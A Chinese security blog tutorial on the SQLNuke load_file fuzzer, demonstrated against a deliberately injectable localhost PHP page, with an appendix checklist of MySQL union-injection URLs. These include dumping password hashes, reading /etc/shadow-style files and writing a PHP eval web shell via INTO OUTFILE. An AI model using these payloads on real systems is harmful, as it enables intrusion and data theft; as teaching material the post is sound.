碳基体

奋斗在产品安全第一线的安全妹子

SQLNuke——mysql 注入load_file Fuzz工具

SQLNuke是一款load_file Fuzz工具,使用ruby编写。可以在找到SQL注入后,辅助使用,它可以将操作系统中的部分文件下载到本地来。工具的原理很简单,使用load_file函数配合文件路径名字典来试探哪些文件可读取并下载到本地。



我们现在来验证一下该工具的作用。


以下是用于测试的,存在sql注入的PHP实例代码sqlitest.php,我直接使用的DVWA的数据库

<?php
$id = $_GET['id'];

$con = mysql_connect("localhost","root","toor") or die ("cannot connect mysql server .".mysql_error());
mysql_select_db("dvwa",$con) or die (mysql_error($con));

$sql = "select * from users where user_id=$id";

print "<h2>SQL injection example </h2><br/>";

$result = mysql_query($sql,$con) or die (mysql_error($con));

while($row = mysql_fetch_assoc($result)){
echo "<strong>id:</strong>".$row['user_id']."<br/>";
echo "<strong>user:</strong>".$row['user']."<br/>";
echo "<strong>password:</strong>".$row['password']."<br/>";
echo "<br/>";
}

mysql_free_result($result);

mysql_close($con);

?>


如下图所示,id是注入点,1,4,5字段的地方有回显(附录部分会介绍如何定位mysql注入

 


在定位注入点与回显地方后,可以使用手动的方式来load_file感兴趣的文件,以查询/etc/passwd为例,如下图所示


我们可以一个个尝试哪些文件可以使用load_file读取。当然也可以使用脚本工具自动化探测,Sqlnuke就具备这样的作用。下面介绍如何使用

 

首先,下载Sqlnuke

git clone https://github.com/nuke99/sqlnuke.git


然后,使用sqlnuke,使用方法很简单。

./sql.rb -u 'http://localhost/sqlitest.php?id=1 union select 1,2,3,XxxX,5,6' --os linux

(1) -u选项表示存在sql注入的URL,XxxX来代替回显字段,本文实例sqlitest.php在1,4,5的位置有回显,我们可以使用XxxX来替代1,4,5位任意一处位置

(2)--os选项表示mysql服务器所在的操作系统类型


运行该命令后,我们可以看到,成功下载了6个文件,并存放在了output/localhost/文件夹下


本次示例在backtrack上读取了以下6个文件

 

在文章开头,提到sqlnuke的原理是用文件路径字典做Fuzz,sqlnuke的文件路径名字典存放在/sqluke/inputs/packset.lst下,默认的字典如下所示:

:linux:
 - /etc/passwd
 - /etc/shadow
 - /etc/group
 - /etc/hosts
 - /etc/apache2/logs/access.log
 - /etc/httpd/access.log
 - /etc/init.d/apache/httpd.conf
 - /etc/init.d/apache/httpd.conf
 - /etc/init.d/apache2/httpd.conf
 - /usr/local/apache2/conf/httpd.conf
 - /usr/local/apache/conf/httpd.conf
 - /home/apache/httpd.conf
 - /home/apache/conf/httpd.conf
 - /opt/apache/conf/httpd.conf
 - /etc/httpd/httpd.conf
 - /etc/httpd/conf/httpd.conf
 - /etc/apache/apache.conf
 - /etc/apache/httpd.conf
 - /etc/apache2/apache2.conf
 - /etc/apache2/httpd.conf
 - /usr/local/apache2/conf/httpd.conf
 - /usr/local/apache/conf/httpd.conf
 - /opt/apache/conf/httpd.conf
 - /home/apache/httpd.conf
 - /home/apache/conf/httpd.conf
 - /etc/apache2/sites-available/default
 - /etc/apache2/vhosts.d/default_vhost.include
 - /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
:win:
 - C:/wamp/bin/apache/logs/access.log
 - C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf
 - C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf
 - C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
 - C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build
 - C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build


当然,我们可以修改字典内容,来试探下载感兴趣的文件。


Have Fun.



附录1:MySQL注入checklist(以sqlitest.php为例,不包括盲注的情况)

1 判断是否存在注入

观察单引号是否报错

http://localhost/sqlitest.php?id=1‘

观察下面两个请求是否存在差异

http://localhost/sqlitest.php?id=1 and 1=1

http://localhost/sqlitest.php?id=1 and 1=2


2 判断列数

可以使用二分法来定位列数

http://localhost/sqlitest.php?id=1 order by 8

http://localhost/sqlitest.php?id=1 order by 4

(注意;有时候需要将后面的语句注释掉,mysql常见注释语句 -- # /*,例如http://localhost/sqlitest.php?id=1 order by 8 -- )


3 判断页面哪些地方可以回显

http://localhost/sqlittest.php?id=1 union select 1,2,3,4,5,6

(注意:有时候页面只显示一行查询结果,这个时候就需要屏蔽正常的返回结果http://localhost/sqlittest.php?id=1 and 1=2 union select 1,2,3,4,5,6)


4 识别数据库信息

version()数据库版本,database()当前数据库名,user()当前数据库用户

http://localhost/sqlitest.php?id=1  and 1=2 union select version(),2,3,database(),user(),6


识别数据库系统权限(注意:information_schema是mysql5.0后才出现的)

http://localhost/sqlitest.php?id=1 union select 1,2,3,concat(grantee,0x3a,privilege_type,0x3a,is_grantable),5,6 from information_schema.user_privileges


识别数据库系统账户信息

http://localhost/sqlitest.php?id=1 union select concat(user,password),2,3,4,5,6 from mysql.user


  5  列出数据库系统中存放有哪些数据库

http://localhost/sqlitest.php?id=1 union select group_concat(schema_name),2,3,4,5,6 from information_schema.schemata


6 猜表

http://localhost/sqlitest.php?id=1 union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=0x(数据库名对应的十六进制)


7 猜字段

http://localhost/sqlitest.php?id=1 union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema=0x(数据库名对应的十六进制) and table_name=0x(表明对应的十六进制)


8 经过上面的步骤,得知数据库名,表名和列名等基本信息后就可以联合查询出指定的数据了

http://localhost/sqlitest.php?id=1 union select 1,2,3,4,concat(username,0x3a,password),6 from spt.users


9 读取操作系统文件(注意:数据库用户有FILE权限,需要指定完整的路径名,并且该文件可被读取)

http://localhost/sqlitest.php?id=1 union select 1,2,3,4,load_file(0x2f6574632f706173737764),6

0x2f6574632f706173737764为/etc/passwd对应的十六进制


10.向操作系统写数据(注意:数据库用户有FILE权限,有在文件系统中创建文件的权限,需要制定完整的路径名(爆路径漏洞在这里就能发挥作用了),并且写入地方不存在相同文件名的文件)

http://localhost/sqlitest.php?id=1 union select 1,2,3,4,"<?php @eval($_POST[cmd])?>",6 into outfile "/var/www/yijuhua.php"


附录2:information-schema和mysql数据库结构

 

 


附录3:mysql 小tips——忘记密码

第一步:关闭mysql

 /etc/init.d/mysql stop

第二步:打开一个终端

mysqld --console --skip-grant-tables

第三步:打开另一个终端

mysql -uroot -p
不需要输入密码
use mysql;
UPDATE user SET Password=PASSWORD('newpassword') where USER='root';
FLUSH PRIVILEGES;

附录4: mysql权限系统



参考:

http://resources.infosecinstitute.com/sqlnuke-simple-but-fast-mysql-injection-load_file-fuzzer/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+infosecResources+(InfoSec+Resources)

来源:碳基体

评论